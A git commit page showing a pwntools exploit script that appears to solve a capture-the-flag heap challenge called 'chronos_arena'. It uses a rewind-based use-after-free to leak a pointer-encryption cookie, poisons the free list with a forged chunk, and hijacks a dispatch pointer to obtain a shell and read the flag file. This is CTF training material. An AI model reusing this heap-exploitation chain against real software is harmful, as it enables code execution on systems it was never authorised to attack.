Init. commit

This commit is contained in:
Caplag
2026-03-02 21:44:22 +03:00
committed by Ivan Z
commit 9511b38280
38 changed files with 4397 additions and 0 deletions

146
Warriors-Pwn/exploit.py Normal file
View File

@@ -0,0 +1,146 @@
#!/usr/bin/env python3
from pwn import *
import os
import re
import zlib
ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
DEFAULT_BIN = os.path.join(ROOT, "public", "chronos_arena")
BINARY_PATH = args.BIN if args.BIN else DEFAULT_BIN
context.binary = ELF(BINARY_PATH, checksec=False)
context.terminal = ["tmux", "splitw", "-h"]
LEAKED_COOKIE = None
def forge_warrior(data, next_ptr):
"""
Build raw bytes for overwrite at (name-16) region:
[checksum|pad|encrypted_next|name(64)]
"""
global LEAKED_COOKIE
if LEAKED_COOKIE is None:
raise ValueError("Cookie is not leaked yet")
name = data.ljust(64, b"\x00")[:64]
checksum = zlib.crc32(name) & 0xFFFFFFFF
encrypted_next = (next_ptr ^ LEAKED_COOKIE) & 0xFFFFFFFFFFFFFFFF
return p32(checksum) + p32(0) + p64(encrypted_next) + name
def start():
if args.REMOTE:
host = args.HOST if args.HOST else "127.0.0.1"
port = int(args.PORT) if args.PORT else 1337
return remote(host, port)
if args.GDB:
return gdb.debug([BINARY_PATH], gdbscript="continue")
return process([BINARY_PATH])
class GameInteraction:
def __init__(self, tube):
self.io = tube
def _choose(self, idx):
self.io.sendlineafter(b"Chronos> ", str(idx).encode())
def spawn(self, name):
self._choose(1)
self.io.sendlineafter(b"Warrior name: ", name)
line = self.io.recvline().decode(errors="ignore").strip()
m = re.search(r"Slot\s+(\d+)\s+awakened", line)
if not m:
raise RuntimeError(f"Unexpected spawn output: {line}")
return int(m.group(1))
def sacrifice(self, slot):
self._choose(2)
self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
self.io.recvline()
def rename(self, slot, shift, blob):
self._choose(5)
self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
self.io.sendlineafter(b"Rune shift (-16..16): ", str(shift).encode())
self.io.sendlineafter(b"Rune length (0..80): ", str(len(blob)).encode())
self.io.sendafter(b"Raw inscription bytes: ", blob)
self.io.send(b"\n")
self.io.recvline()
def scout(self, slot, shift, length):
self._choose(3)
self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
self.io.sendlineafter(b"Scout offset (-24..96): ", str(shift).encode())
self.io.sendlineafter(b"Vision length (0..120): ", str(length).encode())
self.io.recvuntil(b"Vision: ")
hex_line = self.io.recvline().strip().decode()
leaked = bytes.fromhex(hex_line)
return leaked
def rewind(self, anchor):
self._choose(4)
self.io.sendlineafter(b"Rewind to anchor: ", str(anchor).encode())
self.io.recvline()
def invoke_core(self):
self._choose(6)
def main():
global LEAKED_COOKIE
elf = context.binary
io = start()
game = GameInteraction(io)
target = elf.symbols["g_bridge"]
oracle = elf.symbols["summon_oracle"]
log.info("Stage 1: create free chunk and resurrect it via rewind")
s0 = game.spawn(b"alpha")
log.info(f"spawned slot={s0}")
game.sacrifice(s0)
game.rewind(1)
log.info("Stage 2: leak SECRET_COOKIE from encrypted_ptr via Scout")
leak = game.scout(s0, -8, 8)
LEAKED_COOKIE = u64(leak.ljust(8, b"\x00"))
log.success(f"cookie = {hex(LEAKED_COOKIE)}")
log.info("Stage 3: forge warrior header and poison free list")
forged = forge_warrior(b"time-smith", target)
game.rename(s0, -16, forged)
s1 = game.spawn(b"reclaim-1")
log.info(f"reclaim spawn slot={s1}")
s2 = game.spawn(b"bridge")
log.info(f"poisoned spawn slot={s2}")
log.info("Stage 4: overwrite Chronos dispatch pointer inside forged allocation")
payload = b"A" * 24 + p64(oracle)
game.rename(s2, 0, payload)
log.info("Stage 5: invoke dispatch and get shell")
game.invoke_core()
if args.INTERACTIVE:
io.interactive()
return
io.sendline(b"id")
io.sendline(b"cat /app/flag.txt || cat deploy/flag.txt || cat flag.txt")
io.sendline(b"exit")
print(io.recvrepeat(1.0).decode(errors="ignore"))
if __name__ == "__main__":
main()